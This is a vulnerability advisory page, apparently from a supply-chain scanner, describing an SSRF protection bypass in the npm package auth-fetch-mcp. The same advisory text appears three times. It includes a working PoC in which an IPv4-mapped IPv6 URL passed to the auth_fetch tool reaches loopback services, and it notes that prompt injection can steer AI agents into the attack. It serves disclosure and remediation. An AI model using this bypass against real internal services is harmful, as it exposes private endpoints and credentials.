## SSRF Protection Bypass via IPv4-mapped IPv6 Loopback ### Summary `auth-fetch-mcp` v3.0.1 implements SSRF protection in `assertSafeUrl()` (`src/security.ts`) to block requests to private and loopback addresses. However, the `isPrivateV6()` function fails to detect IPv4-mapped IPv6 loopback addresses in their hex-normalized form. When an attacker supplies a URL such as `http://[::ffff:127.0.0.1]:PORT/`, the Node.js WHATWG URL parser silently normalizes the host to `[::ffff:7f00:1]`. Because `net.isIPv4('7f00:1')` returns `false`, the private-IP check is bypassed and the URL is passed to the browser or HTTP client, allowing the MCP tool to reach loopback services that are supposed to be blocked. The issue is exploitable under default configuration without any special environment variable and carries a CVSS v3.1 Base Score of **7.4 (High)**. ### Details The vulnerable function is `isPrivateV6()` in `src/security.ts`, called from `assertSafeUrl()` which gates every outbound request made by the `auth_fetch` and `download_media` MCP tools. **Root cause — `src/security.ts:46-50`:** ```ts if (lower.startsWith("::ffff:")) { const v4 = lower.slice(7); // "7f00:1" after Node normalization if (net.isIPv4(v4)) return isPrivateV4(v4); // false → falls through } return false; // loopback escapes the guard ``` The Node.js WHATWG URL class (conforming to the URL Living Standard) hex-normalizes IPv4-mapped IPv6 addresses: | Input hostname | After `new URL(...).hostname` | |---|---| | `::ffff:127.0.0.1` | `::ffff:7f00:1` | | `::ffff:192.168.1.1` | `::ffff:c0a8:101` | After normalization, the suffix after `::ffff:` is no longer a dotted-decimal IPv4 string, so `net.isIPv4()` returns `false`. The guard falls through and `isPrivateV6()` returns `false`, causing `assertSafeUrl()` to treat a loopback address as safe. **Data flow — primary sink (`auth_fetch`):** 1. `src/tools.ts:119` — `auth_fetch` accepts user-controlled `url: z.string()` (source). 2. `src/tools.ts:128-131` — handler calls `navigateTo(ctx, url)`, passing the raw URL. 3. `src/browser.ts:58` — `navigateTo()` calls `assertSafeUrl(url)`. 4. `src/security.ts:74-108` — `assertSafeUrl()` delegates IPv6 host validation to `isPrivateV6()`; hex-normalized loopback bypasses the check. 5. `src/browser.ts:66` — `page.goto(safeUrl.toString())` issues a browser request to the internal address. 6. `src/extractor.ts:33-54` / `src/tools.ts:171-176` — page content is extracted and returned to the MCP caller. **Data flow — secondary sink (`download_media`):** 1. `src/tools.ts:198-210` — `download_media` accepts user-controlled `urls[]`. 2. `src/tools.ts:233-234` — each URL passes through `assertSafeUrl()` then `ctx.request.get(safeUrl.toString())`. 3. `src/tools.ts:253-254` — the response body is written to the local downloads directory and the path is returned. **Dynamic confirmation (Phase 2):** The PoC ran inside a Docker container (`--network=host`). Direct loopback URLs are correctly blocked: ``` [BASELINE-BLOCK] Refusing to fetch 127.0.0.1 (resolves to private/loopback/link-local address 127.0.0.1) [BASELINE-BLOCK] Refusing to fetch [::1] (resolves to private/loopback/link-local address ::1) ``` The IPv4-mapped IPv6 form bypasses the check and reaches the internal service: ``` [VULN] SECURITY_BYPASS: assertSafeUrl() did not throw [VULN] Input URL: http://[::ffff:127.0.0.1]:31337/ [VULN] Normalized URL: http://[::ffff:7f00:1]:31337/ [VULN] Cause: net.isIPv4('7f00:1') = false → isPrivateV6() returns false [SSRF] HTTP response received from internal service [CONFIRMED] SSRF_CONFIRMED: response contains INTERNAL_SECRET_MARKER [CONFIRMED] VULNERABILITY_REPRODUCED=TRUE ``` ### PoC **Prerequisites:** ```bash git clone https://github.com/ymw0407/auth-fetch-mcp.git cd auth-fetch-mcp npm ci npm run build npx playwright install --with-deps chromium ``` **Terminal 1 — start a loopback-only internal service:** ```bash node -e 'require("http").createServer((q,r)=>r.end("<h1>INTERNAL_SECRET_MARKER</h1>")).listen(31337,"127.0.0.1")' ``` **Terminal 2 — start the MCP server (default config, no special env vars):** ```bash npx [email protected] ``` **MCP tool invocation:** ```json { "tool": "auth_fetch", "arguments": { "url": "http://[::ffff:127.0.0.1]:31337/" } } ``` **Expected vs. actual behavior:** | URL | Expected | Actual | |---|---|---| | `http://127.0.0.1:31337/` | BLOCK | BLOCK (correct) | | `http://[::1]:31337/` | BLOCK | BLOCK (correct) | | `http://[::ffff:127.0.0.1]:31337/` | BLOCK | **ALLOW** (vulnerable) | | `http://[::ffff:7f00:1]:31337/` | BLOCK | **ALLOW** (vulnerable) | After the user clicks the "Capture" button, the MCP response contains `INTERNAL_SECRET_MARKER`, confirming that the internal HTTP service was reached through the SSRF protection bypass. ### Remediation Decode the hex-encoded IPv4-mapped suffix before passing it to `isPrivateV4()`: ```diff if (lower.startsWith("::ffff:")) { const v4 = lower.slice(7); if (net.isIPv4(v4)) return isPrivateV4(v4); + const m = /^([0-9a-f]{1,4}):([0-9a-f]{1,4})$/.exec(v4); + if (m) { + const hi = parseInt(m[1], 16); + const lo = parseInt(m[2], 16); + const mapped = `${hi >> 8}.${hi & 255}.${lo >> 8}.${lo & 255}`; + return isPrivateV4(mapped); + } } ``` Additionally, a `BrowserContext` route guard should be added in `src/browser.ts` to re-validate every navigation URL (including redirect targets) through `assertSafeUrl()`. No patched version available. ### Impact This is a **Server-Side Request Forgery (SSRF)** vulnerability. An attacker who can supply or influence the `url` argument of the `auth_fetch` tool (or the `urls[]` array of `download_media`) can direct the MCP server to make HTTP requests to services bound to `127.0.0.1` or any other private IPv4 range, simply by encoding the target address as an IPv4-mapped IPv6 literal. **Who is impacted:** - **End users** running `auth-fetch-mcp` locally: an attacker who can inject tool arguments (e.g., via a prompt-injection payload in a webpage visited by the AI agent) can read the response from any HTTP service on the user's loopback interface — local dev servers, admin panels, credential endpoints, metadata services, or other MCP servers. - **Server-side deployments**: any deployment exposing `auth-fetch-mcp` as a shared MCP server faces the same risk against internal network services reachable from the host. - The `auth_fetch` UI:R capture step is reflected in the CVSS score but does not eliminate the risk in prompt-injection scenarios, which the product's README explicitly identifies as an intended protection boundary. Confidentiality of internal service responses is fully compromised (C:H); integrity and availability of the target service are not directly affected by this issue.
## SSRF Protection Bypass via IPv4-mapped IPv6 Loopback ### Summary `auth-fetch-mcp` v3.0.1 implements SSRF protection in `assertSafeUrl()` (`src/security.ts`) to block requests to private and loopback addresses. However, the `isPrivateV6()` function fails to detect IPv4-mapped IPv6 loopback addresses in their hex-normalized form. When an attacker supplies a URL such as `http://[::ffff:127.0.0.1]:PORT/`, the Node.js WHATWG URL parser silently normalizes the host to `[::ffff:7f00:1]`. Because `net.isIPv4('7f00:1')` returns `false`, the private-IP check is bypassed and the URL is passed to the browser or HTTP client, allowing the MCP tool to reach loopback services that are supposed to be blocked. The issue is exploitable under default configuration without any special environment variable and carries a CVSS v3.1 Base Score of **7.4 (High)**. ### Details The vulnerable function is `isPrivateV6()` in `src/security.ts`, called from `assertSafeUrl()` which gates every outbound request made by the `auth_fetch` and `download_media` MCP tools. **Root cause — `src/security.ts:46-50`:** ```ts if (lower.startsWith("::ffff:")) { const v4 = lower.slice(7); // "7f00:1" after Node normalization if (net.isIPv4(v4)) return isPrivateV4(v4); // false → falls through } return false; // loopback escapes the guard ``` The Node.js WHATWG URL class (conforming to the URL Living Standard) hex-normalizes IPv4-mapped IPv6 addresses: | Input hostname | After `new URL(...).hostname` | |---|---| | `::ffff:127.0.0.1` | `::ffff:7f00:1` | | `::ffff:192.168.1.1` | `::ffff:c0a8:101` | After normalization, the suffix after `::ffff:` is no longer a dotted-decimal IPv4 string, so `net.isIPv4()` returns `false`. The guard falls through and `isPrivateV6()` returns `false`, causing `assertSafeUrl()` to treat a loopback address as safe. **Data flow — primary sink (`auth_fetch`):** 1. `src/tools.ts:119` — `auth_fetch` accepts user-controlled `url: z.string()` (source). 2. `src/tools.ts:128-131` — handler calls `navigateTo(ctx, url)`, passing the raw URL. 3. `src/browser.ts:58` — `navigateTo()` calls `assertSafeUrl(url)`. 4. `src/security.ts:74-108` — `assertSafeUrl()` delegates IPv6 host validation to `isPrivateV6()`; hex-normalized loopback bypasses the check. 5. `src/browser.ts:66` — `page.goto(safeUrl.toString())` issues a browser request to the internal address. 6. `src/extractor.ts:33-54` / `src/tools.ts:171-176` — page content is extracted and returned to the MCP caller. **Data flow — secondary sink (`download_media`):** 1. `src/tools.ts:198-210` — `download_media` accepts user-controlled `urls[]`. 2. `src/tools.ts:233-234` — each URL passes through `assertSafeUrl()` then `ctx.request.get(safeUrl.toString())`. 3. `src/tools.ts:253-254` — the response body is written to the local downloads directory and the path is returned. **Dynamic confirmation (Phase 2):** The PoC ran inside a Docker container (`--network=host`). Direct loopback URLs are correctly blocked: ``` [BASELINE-BLOCK] Refusing to fetch 127.0.0.1 (resolves to private/loopback/link-local address 127.0.0.1) [BASELINE-BLOCK] Refusing to fetch [::1] (resolves to private/loopback/link-local address ::1) ``` The IPv4-mapped IPv6 form bypasses the check and reaches the internal service: ``` [VULN] SECURITY_BYPASS: assertSafeUrl() did not throw [VULN] Input URL: http://[::ffff:127.0.0.1]:31337/ [VULN] Normalized URL: http://[::ffff:7f00:1]:31337/ [VULN] Cause: net.isIPv4('7f00:1') = false → isPrivateV6() returns false [SSRF] HTTP response received from internal service [CONFIRMED] SSRF_CONFIRMED: response contains INTERNAL_SECRET_MARKER [CONFIRMED] VULNERABILITY_REPRODUCED=TRUE ``` ### PoC **Prerequisites:** ```bash git clone https://github.com/ymw0407/auth-fetch-mcp.git cd auth-fetch-mcp npm ci npm run build npx playwright install --with-deps chromium ``` **Terminal 1 — start a loopback-only internal service:** ```bash node -e 'require("http").createServer((q,r)=>r.end("<h1>INTERNAL_SECRET_MARKER</h1>")).listen(31337,"127.0.0.1")' ``` **Terminal 2 — start the MCP server (default config, no special env vars):** ```bash npx [email protected] ``` **MCP tool invocation:** ```json { "tool": "auth_fetch", "arguments": { "url": "http://[::ffff:127.0.0.1]:31337/" } } ``` **Expected vs. actual behavior:** | URL | Expected | Actual | |---|---|---| | `http://127.0.0.1:31337/` | BLOCK | BLOCK (correct) | | `http://[::1]:31337/` | BLOCK | BLOCK (correct) | | `http://[::ffff:127.0.0.1]:31337/` | BLOCK | **ALLOW** (vulnerable) | | `http://[::ffff:7f00:1]:31337/` | BLOCK | **ALLOW** (vulnerable) | After the user clicks the "Capture" button, the MCP response contains `INTERNAL_SECRET_MARKER`, confirming that the internal HTTP service was reached through the SSRF protection bypass. ### Remediation Decode the hex-encoded IPv4-mapped suffix before passing it to `isPrivateV4()`: ```diff if (lower.startsWith("::ffff:")) { const v4 = lower.slice(7); if (net.isIPv4(v4)) return isPrivateV4(v4); + const m = /^([0-9a-f]{1,4}):([0-9a-f]{1,4})$/.exec(v4); + if (m) { + const hi = parseInt(m[1], 16); + const lo = parseInt(m[2], 16); + const mapped = `${hi >> 8}.${hi & 255}.${lo >> 8}.${lo & 255}`; + return isPrivateV4(mapped); + } } ``` Additionally, a `BrowserContext` route guard should be added in `src/browser.ts` to re-validate every navigation URL (including redirect targets) through `assertSafeUrl()`. No patched version available. ### Impact This is a **Server-Side Request Forgery (SSRF)** vulnerability. An attacker who can supply or influence the `url` argument of the `auth_fetch` tool (or the `urls[]` array of `download_media`) can direct the MCP server to make HTTP requests to services bound to `127.0.0.1` or any other private IPv4 range, simply by encoding the target address as an IPv4-mapped IPv6 literal. **Who is impacted:** - **End users** running `auth-fetch-mcp` locally: an attacker who can inject tool arguments (e.g., via a prompt-injection payload in a webpage visited by the AI agent) can read the response from any HTTP service on the user's loopback interface — local dev servers, admin panels, credential endpoints, metadata services, or other MCP servers. - **Server-side deployments**: any deployment exposing `auth-fetch-mcp` as a shared MCP server faces the same risk against internal network services reachable from the host. - The `auth_fetch` UI:R capture step is reflected in the CVSS score but does not eliminate the risk in prompt-injection scenarios, which the product's README explicitly identifies as an intended protection boundary. Confidentiality of internal service responses is fully compromised (C:H); integrity and availability of the target service are not directly affected by this issue.
Update auth-fetch-mcp to 3.0.2 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanauth-fetch-mcp has SSRF Protection Bypass via IPv4-mapped IPv6 Loopback affects auth-fetch-mcp (npm). Severity is high. ## SSRF Protection Bypass via IPv4-mapped IPv6 Loopback ### Summary `auth-fetch-mcp` v3.0.1 implements SSRF protection in `assertSafeUrl()` (`src/security.ts`) to block requests to private and loopback addresses. However, the `isPrivateV6()` function fails to detect IPv4-mapped IPv6 loopback addresses in their hex-normalized form. When an attacker supplies a URL such as `http://[::ffff:127.0.0.1]:PORT/`, the Node.js WHATWG URL parser silently normalizes the host to `[::ffff:7f00:1]`. Because `net.isIPv4('7f00:1')` returns `false`, the private-IP check is bypassed and the URL is passed to the browser or HTTP client, allowing the MCP tool to reach loopback services that are supposed to be blocked. The issue is exploitable under default configuration without any special environment variable and carries a CVSS v3.1 Base Score of **7.4 (High)**. ### Details The vulnerable function is `isPrivateV6()` in `src/security.ts`, called from `assertSafeUrl()` which gates every outbound request made by the `auth_fetch` and `download_media` MCP tools. **Root cause — `src/security.ts:46-50`:** ```ts if (lower.startsWith("::ffff:")) { const v4 = lower.slice(7); // "7f00:1" after Node normalization if (net.isIPv4(v4)) return isPrivateV4(v4); // false → falls through } return false; // loopback escapes the guard ``` The Node.js WHATWG URL class (conforming to the URL Living Standard) hex-normalizes IPv4-mapped IPv6 addresses: | Input hostname | After `new URL(...).hostname` | |---|---| | `::ffff:127.0.0.1` | `::ffff:7f00:1` | | `::ffff:192.168.1.1` | `::ffff:c0a8:101` | After normalization, the suffix after `::ffff:` is no longer a dotted-decimal IPv4 string, so `net.isIPv4()` returns `false`. The guard falls through and `isPrivateV6()` returns `false`, causing `assertSafeUrl()` to treat a loopback address as safe. **Data flow — primary sink (`auth_fetch`):** 1. `src/tools.ts:119` — `auth_fetch` accepts user-controlled `url: z.string()` (source). 2. `src/tools.ts:128-131` — handler calls `navigateTo(ctx, url)`, passing the raw URL. 3. `src/browser.ts:58` — `navigateTo()` calls `assertSafeUrl(url)`. 4. `src/security.ts:74-108` — `assertSafeUrl()` delegates IPv6 host validation to `isPrivateV6()`; hex-normalized loopback bypasses the check. 5. `src/browser.ts:66` — `page.goto(safeUrl.toString())` issues a browser request to the internal address. 6. `src/extractor.ts:33-54` / `src/tools.ts:171-176` — page content is extracted and returned to the MCP caller. **Data flow — secondary sink (`download_media`):** 1. `src/tools.ts:198-210` — `download_media` accepts user-controlled `urls[]`. 2. `src/tools.ts:233-234` — each URL passes through `assertSafeUrl()` then `ctx.request.get(safeUrl.toString())`. 3. `src/tools.ts:253-254` — the response body is written to the local downloads directory and the path is returned. **Dynamic confirmation (Phase 2):** The PoC ran inside a Docker container (`--network=host`). Direct loopback URLs are correctly blocked: ``` [BASELINE-BLOCK] Refusing to fetch 127.0.0.1 (resolves to private/loopback/link-local address 127.0.0.1) [BASELINE-BLOCK] Refusing to fetch [::1] (resolves to private/loopback/link-local address ::1) ``` The IPv4-mapped IPv6 form bypasses the check and reaches the internal service: ``` [VULN] SECURITY_BYPASS: assertSafeUrl() did not throw [VULN] Input URL: http://[::ffff:127.0.0.1]:31337/ [VULN] Normalized URL: http://[::ffff:7f00:1]:31337/ [VULN] Cause: net.isIPv4('7f00:1') = false → isPrivateV6() returns false [SSRF] HTTP response received from internal service [CONFIRMED] SSRF_CONFIRMED: response contains INTERNAL_SECRET_MARKER [CONFIRMED] VULNERABILITY_REPRODUCED=TRUE ``` ### PoC **Prerequisites:** ```bash git clone https://github.com/ymw0407/auth-fetch-mcp.git cd auth-fetch-mcp npm ci npm run build npx playwright install --with-deps chromium ``` **Terminal 1 — start a loopback-only internal service:** ```bash node -e 'require("http").createServer((q,r)=>r.end("<h1>INTERNAL_SECRET_MARKER</h1>")).listen(31337,"127.0.0.1")' ``` **Terminal 2 — start the MCP server (default config, no special env vars):** ```bash npx [email protected] ``` **MCP tool invocation:** ```json { "tool": "auth_fetch", "arguments": { "url": "http://[::ffff:127.0.0.1]:31337/" } } ``` **Expected vs. actual behavior:** | URL | Expected | Actual | |---|---|---| | `http://127.0.0.1:31337/` | BLOCK | BLOCK (correct) | | `http://[::1]:31337/` | BLOCK | BLOCK (correct) | | `http://[::ffff:127.0.0.1]:31337/` | BLOCK | **ALLOW** (vulnerable) | | `http://[::ffff:7f00:1]:31337/` | BLOCK | **ALLOW** (vulnerable) | After the user clicks the "Capture" button, the MCP response contains `INTERNAL_SECRET_MARKER`, confirming that the internal HTTP service was reached through the SSRF protection bypass. ### Remediation Decode the hex-encoded IPv4-mapped suffix before passing it to `isPrivateV4()`: ```diff if (lower.startsWith("::ffff:")) { const v4 = lower.slice(7); if (net.isIPv4(v4)) return isPrivateV4(v4); + const m = /^([0-9a-f]{1,4}):([0-9a-f]{1,4})$/.exec(v4); + if (m) { + const hi = parseInt(m[1], 16); + const lo = parseInt(m[2], 16); + const mapped = `${hi >> 8}.${hi & 255}.${lo >> 8}.${lo & 255}`; + return isPrivateV4(mapped); + } } ``` Additionally, a `BrowserContext` route guard should be added in `src/browser.ts` to re-validate every navigation URL (including redirect targets) through `assertSafeUrl()`. No patched version available. ### Impact This is a **Server-Side Request Forgery (SSRF)** vulnerability. An attacker who can supply or influence the `url` argument of the `auth_fetch` tool (or the `urls[]` array of `download_media`) can direct the MCP server to make HTTP requests to services bound to `127.0.0.1` or any other private IPv4 range, simply by encoding the target address as an IPv4-mapped IPv6 literal. **Who is impacted:** - **End users** running `auth-fetch-mcp` locally: an attacker who can inject tool arguments (e.g., via a prompt-injection payload in a webpage visited by the AI agent) can read the response from any HTTP service on the user's loopback interface — local dev servers, admin panels, credential endpoints, metadata services, or other MCP servers. - **Server-side deployments**: any deployment exposing `auth-fetch-mcp` as a shared MCP server faces the same risk against internal network services reachable from the host. - The `auth_fetch` UI:R capture step is reflected in the CVSS score but does not eliminate the risk in prompt-injection scenarios, which the product's README explicitly identifies as an intended protection boundary. Confidentiality of internal service responses is fully compromised (C:H); integrity and availability of the target service are not directly affected by this issue.
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| auth-fetch-mcpnpm | <=3.0.1 | 3.0.2 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate auth-fetch-mcp to 3.0.2 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanauth-fetch-mcp has SSRF Protection Bypass via IPv4-mapped IPv6 Loopback affects auth-fetch-mcp (npm). Severity is high. ## SSRF Protection Bypass via IPv4-mapped IPv6 Loopback ### Summary `auth-fetch-mcp` v3.0.1 implements SSRF protection in `assertSafeUrl()` (`src/security.ts`) to block requests to private and loopback addresses. However, the `isPrivateV6()` function fails to detect IPv4-mapped IPv6 loopback addresses in their hex-normalized form. When an attacker supplies a URL such as `http://[::ffff:127.0.0.1]:PORT/`, the Node.js WHATWG URL parser silently normalizes the host to `[::ffff:7f00:1]`. Because `net.isIPv4('7f00:1')` returns `false`, the private-IP check is bypassed and the URL is passed to the browser or HTTP client, allowing the MCP tool to reach loopback services that are supposed to be blocked. The issue is exploitable under default configuration without any special environment variable and carries a CVSS v3.1 Base Score of **7.4 (High)**. ### Details The vulnerable function is `isPrivateV6()` in `src/security.ts`, called from `assertSafeUrl()` which gates every outbound request made by the `auth_fetch` and `download_media` MCP tools. **Root cause — `src/security.ts:46-50`:** ```ts if (lower.startsWith("::ffff:")) { const v4 = lower.slice(7); // "7f00:1" after Node normalization if (net.isIPv4(v4)) return isPrivateV4(v4); // false → falls through } return false; // loopback escapes the guard ``` The Node.js WHATWG URL class (conforming to the URL Living Standard) hex-normalizes IPv4-mapped IPv6 addresses: | Input hostname | After `new URL(...).hostname` | |---|---| | `::ffff:127.0.0.1` | `::ffff:7f00:1` | | `::ffff:192.168.1.1` | `::ffff:c0a8:101` | After normalization, the suffix after `::ffff:` is no longer a dotted-decimal IPv4 string, so `net.isIPv4()` returns `false`. The guard falls through and `isPrivateV6()` returns `false`, causing `assertSafeUrl()` to treat a loopback address as safe. **Data flow — primary sink (`auth_fetch`):** 1. `src/tools.ts:119` — `auth_fetch` accepts user-controlled `url: z.string()` (source). 2. `src/tools.ts:128-131` — handler calls `navigateTo(ctx, url)`, passing the raw URL. 3. `src/browser.ts:58` — `navigateTo()` calls `assertSafeUrl(url)`. 4. `src/security.ts:74-108` — `assertSafeUrl()` delegates IPv6 host validation to `isPrivateV6()`; hex-normalized loopback bypasses the check. 5. `src/browser.ts:66` — `page.goto(safeUrl.toString())` issues a browser request to the internal address. 6. `src/extractor.ts:33-54` / `src/tools.ts:171-176` — page content is extracted and returned to the MCP caller. **Data flow — secondary sink (`download_media`):** 1. `src/tools.ts:198-210` — `download_media` accepts user-controlled `urls[]`. 2. `src/tools.ts:233-234` — each URL passes through `assertSafeUrl()` then `ctx.request.get(safeUrl.toString())`. 3. `src/tools.ts:253-254` — the response body is written to the local downloads directory and the path is returned. **Dynamic confirmation (Phase 2):** The PoC ran inside a Docker container (`--network=host`). Direct loopback URLs are correctly blocked: ``` [BASELINE-BLOCK] Refusing to fetch 127.0.0.1 (resolves to private/loopback/link-local address 127.0.0.1) [BASELINE-BLOCK] Refusing to fetch [::1] (resolves to private/loopback/link-local address ::1) ``` The IPv4-mapped IPv6 form bypasses the check and reaches the internal service: ``` [VULN] SECURITY_BYPASS: assertSafeUrl() did not throw [VULN] Input URL: http://[::ffff:127.0.0.1]:31337/ [VULN] Normalized URL: http://[::ffff:7f00:1]:31337/ [VULN] Cause: net.isIPv4('7f00:1') = false → isPrivateV6() returns false [SSRF] HTTP response received from internal service [CONFIRMED] SSRF_CONFIRMED: response contains INTERNAL_SECRET_MARKER [CONFIRMED] VULNERABILITY_REPRODUCED=TRUE ``` ### PoC **Prerequisites:** ```bash git clone https://github.com/ymw0407/auth-fetch-mcp.git cd auth-fetch-mcp npm ci npm run build npx playwright install --with-deps chromium ``` **Terminal 1 — start a loopback-only internal service:** ```bash node -e 'require("http").createServer((q,r)=>r.end("<h1>INTERNAL_SECRET_MARKER</h1>")).listen(31337,"127.0.0.1")' ``` **Terminal 2 — start the MCP server (default config, no special env vars):** ```bash npx [email protected] ``` **MCP tool invocation:** ```json { "tool": "auth_fetch", "arguments": { "url": "http://[::ffff:127.0.0.1]:31337/" } } ``` **Expected vs. actual behavior:** | URL | Expected | Actual | |---|---|---| | `http://127.0.0.1:31337/` | BLOCK | BLOCK (correct) | | `http://[::1]:31337/` | BLOCK | BLOCK (correct) | | `http://[::ffff:127.0.0.1]:31337/` | BLOCK | **ALLOW** (vulnerable) | | `http://[::ffff:7f00:1]:31337/` | BLOCK | **ALLOW** (vulnerable) | After the user clicks the "Capture" button, the MCP response contains `INTERNAL_SECRET_MARKER`, confirming that the internal HTTP service was reached through the SSRF protection bypass. ### Remediation Decode the hex-encoded IPv4-mapped suffix before passing it to `isPrivateV4()`: ```diff if (lower.startsWith("::ffff:")) { const v4 = lower.slice(7); if (net.isIPv4(v4)) return isPrivateV4(v4); + const m = /^([0-9a-f]{1,4}):([0-9a-f]{1,4})$/.exec(v4); + if (m) { + const hi = parseInt(m[1], 16); + const lo = parseInt(m[2], 16); + const mapped = `${hi >> 8}.${hi & 255}.${lo >> 8}.${lo & 255}`; + return isPrivateV4(mapped); + } } ``` Additionally, a `BrowserContext` route guard should be added in `src/browser.ts` to re-validate every navigation URL (including redirect targets) through `assertSafeUrl()`. No patched version available. ### Impact This is a **Server-Side Request Forgery (SSRF)** vulnerability. An attacker who can supply or influence the `url` argument of the `auth_fetch` tool (or the `urls[]` array of `download_media`) can direct the MCP server to make HTTP requests to services bound to `127.0.0.1` or any other private IPv4 range, simply by encoding the target address as an IPv4-mapped IPv6 literal. **Who is impacted:** - **End users** running `auth-fetch-mcp` locally: an attacker who can inject tool arguments (e.g., via a prompt-injection payload in a webpage visited by the AI agent) can read the response from any HTTP service on the user's loopback interface — local dev servers, admin panels, credential endpoints, metadata services, or other MCP servers. - **Server-side deployments**: any deployment exposing `auth-fetch-mcp` as a shared MCP server faces the same risk against internal network services reachable from the host. - The `auth_fetch` UI:R capture step is reflected in the CVSS score but does not eliminate the risk in prompt-injection scenarios, which the product's README explicitly identifies as an intended protection boundary. Confidentiality of internal service responses is fully compromised (C:H); integrity and availability of the target service are not directly affected by this issue.
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| auth-fetch-mcpnpm | <=3.0.1 | 3.0.2 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard